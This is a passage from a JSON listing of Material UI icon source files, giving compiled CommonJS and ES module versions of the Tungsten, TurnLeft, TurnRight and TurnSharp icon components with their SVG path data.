  },
  {
    "path": "packages/mui-icons-material/lib/TungstenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c-.56 0-1 .45-1 1v1c0 .55.45 1 1 1s1-.45 1-1v-1c0-.55-.45-1-1-1m-6.01-1.91-.71.71c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.71-.71c.39-.39.39-1.02 0-1.41-.38-.38-1.02-.38-1.41 0M5 12c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1-.45 1-1m16-1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1-.45 1-1s-.45-1-1-1m-2.99 6.09a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.71.71c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM15 8.02V5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3.02c-1.43 1.08-2.28 2.9-1.91 4.91.36 1.95 1.9 3.55 3.84 3.95C14.16 17.56 17 15.11 17 12c0-1.63-.79-3.06-2-3.98m-2-.92c-.32-.06-.66-.1-1-.1s-.68.04-1 .1V5h2z\"\n}), 'TungstenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TungstenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c-.56 0-1 .45-1 1v1c0 .55.45 1 1 1s1-.45 1-1v-1c0-.55-.45-1-1-1m-6.01-1.91-.71.71c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.71-.71c.39-.39.39-1.02 0-1.41-.38-.38-1.02-.38-1.41 0M5 12c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1-.45 1-1m16-1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1-.45 1-1s-.45-1-1-1m-2.99 6.09a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.71.71c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM15 8.02V5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3.02c-1.43 1.08-2.28 2.9-1.91 4.91.36 1.95 1.9 3.55 3.84 3.95C14.16 17.56 17 15.11 17 12c0-1.63-.79-3.06-2-3.98m-2-.92c-.32-.06-.66-.1-1-.1s-.68.04-1 .1V5h2z\"\n}), 'TungstenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TungstenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 19h2v3h-2zm-9-8h3v2H2zm17 0h3v2h-3zm-3.1057 6.8014 1.4071-1.4071 2.1214 2.1213-1.4072 1.4072zm-11.31.7072 2.1213-2.1214 1.4072 1.4072-2.1214 2.1213zM15 8.02V3H9v5.02c-1.21.92-2 2.35-2 3.98 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.06-2-3.98M11 5h2v2.1c-.32-.06-.66-.1-1-.1s-.68.04-1 .1z\"\n}), 'TungstenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TungstenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 19h2v3h-2zm-9-8h3v2H2zm17 0h3v2h-3zm-3.1057 6.8014 1.4071-1.4071 2.1214 2.1213-1.4072 1.4072zm-11.31.7072 2.1213-2.1214 1.4072 1.4072-2.1214 2.1213zM15 8.02V3H9v5.02c-1.21.92-2 2.35-2 3.98 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.06-2-3.98M11 5h2v2.1c-.32-.06-.66-.1-1-.1s-.68.04-1 .1z\"\n}), 'TungstenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TungstenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.1V5h-2v2.1c.32-.06.66-.1 1-.1s.68.04 1 .1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 19h2v3h-2zm-9-8h3v2H2zm17 0h3v2h-3zm-3.1057 6.8014 1.4071-1.4071 2.1214 2.1213-1.4072 1.4072zm-11.31.7072 2.1213-2.1214 1.4072 1.4072-2.1214 2.1213zM15 8.02V3H9v5.02c-1.21.92-2 2.35-2 3.98 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.06-2-3.98M11 5h2v2.1c-.32-.06-.66-.1-1-.1s-.68.04-1 .1zm1 10c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"1\")], 'TungstenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TungstenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.1V5h-2v2.1c.32-.06.66-.1 1-.1s.68.04 1 .1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 19h2v3h-2zm-9-8h3v2H2zm17 0h3v2h-3zm-3.1057 6.8014 1.4071-1.4071 2.1214 2.1213-1.4072 1.4072zm-11.31.7072 2.1213-2.1214 1.4072 1.4072-2.1214 2.1213zM15 8.02V3H9v5.02c-1.21.92-2 2.35-2 3.98 0 2.76 2.24 5 5 5s5-2.24 5-5c0-1.63-.79-3.06-2-3.98M11 5h2v2.1c-.32-.06-.66-.1-1-.1s-.68.04-1 .1zm1 10c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"1\")], 'TungstenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.83 11 1.59 1.59L7 14l-4-4 4-4 1.41 1.41L6.83 9H15c1.1 0 2 .9 2 2v9h-2v-9z\"\n}), 'TurnLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.83 11 1.59 1.59L7 14l-4-4 4-4 1.41 1.41L6.83 9H15c1.1 0 2 .9 2 2v9h-2v-9z\"\n}), 'TurnLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.83 11 1.59 1.59L7 14l-4-4 4-4 1.41 1.41L6.83 9H15c1.1 0 2 .9 2 2v9h-2v-9z\"\n}), 'TurnLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.83 11 1.59 1.59L7 14l-4-4 4-4 1.41 1.41L6.83 9H15c1.1 0 2 .9 2 2v9h-2v-9z\"\n}), 'TurnLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.71 13.29c-.39.39-1.02.39-1.41 0L3.71 10.7a.996.996 0 0 1 0-1.41L6.3 6.7c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L6.83 9H15c1.1 0 2 .9 2 2v8c0 .55-.45 1-1 1s-1-.45-1-1v-8H6.83l.88.88c.39.39.39 1.02 0 1.41\"\n}), 'TurnLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.71 13.29c-.39.39-1.02.39-1.41 0L3.71 10.7a.996.996 0 0 1 0-1.41L6.3 6.7c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L6.83 9H15c1.1 0 2 .9 2 2v8c0 .55-.45 1-1 1s-1-.45-1-1v-8H6.83l.88.88c.39.39.39 1.02 0 1.41\"\n}), 'TurnLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.83 11 1.58 1.59L7 14l-4-4 4-4 1.41 1.41L6.83 9H17v11h-2v-9z\"\n}), 'TurnLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.83 11 1.58 1.59L7 14l-4-4 4-4 1.41 1.41L6.83 9H17v11h-2v-9z\"\n}), 'TurnLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.83 11 1.59 1.59L7 14l-4-4 4-4 1.41 1.41L6.83 9H15c1.1 0 2 .9 2 2v9h-2v-9z\"\n}), 'TurnLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6.83 11 1.59 1.59L7 14l-4-4 4-4 1.41 1.41L6.83 9H15c1.1 0 2 .9 2 2v9h-2v-9z\"\n}), 'TurnLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.17 11-1.59 1.59L17 14l4-4-4-4-1.41 1.41L17.17 9H9c-1.1 0-2 .9-2 2v9h2v-9z\"\n}), 'TurnRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.17 11-1.59 1.59L17 14l4-4-4-4-1.41 1.41L17.17 9H9c-1.1 0-2 .9-2 2v9h2v-9z\"\n}), 'TurnRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.17 11-1.59 1.59L17 14l4-4-4-4-1.41 1.41L17.17 9H9c-1.1 0-2 .9-2 2v9h2v-9z\"\n}), 'TurnRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.17 11-1.59 1.59L17 14l4-4-4-4-1.41 1.41L17.17 9H9c-1.1 0-2 .9-2 2v9h2v-9z\"\n}), 'TurnRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.29 13.29c.39.39 1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L17.7 6.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.89H9c-1.1 0-2 .9-2 2v8c0 .55.45 1 1 1s1-.45 1-1v-8h8.17l-.88.88c-.39.39-.39 1.02 0 1.41\"\n}), 'TurnRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.29 13.29c.39.39 1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L17.7 6.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.89H9c-1.1 0-2 .9-2 2v8c0 .55.45 1 1 1s1-.45 1-1v-8h8.17l-.88.88c-.39.39-.39 1.02 0 1.41\"\n}), 'TurnRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.17 11-1.58 1.59L17 14l4-4-4-4-1.41 1.41L17.17 9H7v11h2v-9z\"\n}), 'TurnRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.17 11-1.58 1.59L17 14l4-4-4-4-1.41 1.41L17.17 9H7v11h2v-9z\"\n}), 'TurnRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.17 11-1.59 1.59L17 14l4-4-4-4-1.41 1.41L17.17 9H9c-1.1 0-2 .9-2 2v9h2v-9z\"\n}), 'TurnRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.17 11-1.59 1.59L17 14l4-4-4-4-1.41 1.41L17.17 9H9c-1.1 0-2 .9-2 2v9h2v-9z\"\n}), 'TurnRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.83 4.41 8.41 3 7l4-4 4 4-1.41 1.41L8 6.83V13h8c1.1 0 2 .9 2 2v6h-2v-6H8c-1.1 0-2-.9-2-2z\"\n}), 'TurnSharpLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.83 4.41 8.41 3 7l4-4 4 4-1.41 1.41L8 6.83V13h8c1.1 0 2 .9 2 2v6h-2v-6H8c-1.1 0-2-.9-2-2z\"\n}), 'TurnSharpLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.83 4.41 8.41 3 7l4-4 4 4-1.41 1.41L8 6.83V13h8c1.1 0 2 .9 2 2v6h-2v-6H8c-1.1 0-2-.9-2-2z\"\n}), 'TurnSharpLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.83 4.41 8.41 3 7l4-4 4 4-1.41 1.41L8 6.83V13h8c1.1 0 2 .9 2 2v6h-2v-6H8c-1.1 0-2-.9-2-2z\"\n}), 'TurnSharpLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8 6.83.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L7.71 3.71a.996.996 0 0 0-1.41 0L3.71 6.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L6 6.83V13c0 1.1.9 2 2 2h8v5c0 .55.45 1 1 1s1-.45 1-1v-5c0-1.1-.9-2-2-2H8z\"\n}), 'TurnSharpLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8 6.83.88.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L7.71 3.71a.996.996 0 0 0-1.41 0L3.71 6.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L6 6.83V13c0 1.1.9 2 2 2h8v5c0 .55.45 1 1 1s1-.45 1-1v-5c0-1.1-.9-2-2-2H8z\"\n}), 'TurnSharpLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.83 4.41 8.41 3 7l4-4 4 4-1.41 1.41L8 6.83V13h10v8h-2v-6H6z\"\n}), 'TurnSharpLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.83 4.41 8.41 3 7l4-4 4 4-1.41 1.41L8 6.83V13h10v8h-2v-6H6z\"\n}), 'TurnSharpLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6.83 4.41 8.41 3 7l4-4 4 4-1.41 1.41L8 6.83V13h8c1.1 0 2 .9 2 2v6h-2v-6H8c-1.1 0-2-.9-2-2z\"\n}), 'TurnSharpLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6.83 4.41 8.41 3 7l4-4 4 4-1.41 1.41L8 6.83V13h8c1.1 0 2 .9 2 2v6h-2v-6H8c-1.1 0-2-.9-2-2z\"\n}), 'TurnSharpLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 6.83 1.59 1.59L21 7l-4-4-4 4 1.41 1.41L16 6.83V13H8c-1.1 0-2 .9-2 2v6h2v-6h8c1.1 0 2-.9 2-2z\"\n}), 'TurnSharpRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 6.83 1.59 1.59L21 7l-4-4-4 4 1.41 1.41L16 6.83V13H8c-1.1 0-2 .9-2 2v6h2v-6h8c1.1 0 2-.9 2-2z\"\n}), 'TurnSharpRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 6.83 1.59 1.59L21 7l-4-4-4 4 1.41 1.41L16 6.83V13H8c-1.1 0-2 .9-2 2v6h2v-6h8c1.1 0 2-.9 2-2z\"\n}), 'TurnSharpRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 6.83 1.59 1.59L21 7l-4-4-4 4 1.41 1.41L16 6.83V13H8c-1.1 0-2 .9-2 2v6h2v-6h8c1.1 0 2-.9 2-2z\"\n}), 'TurnSharpRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TurnSharpRightRounded.js",
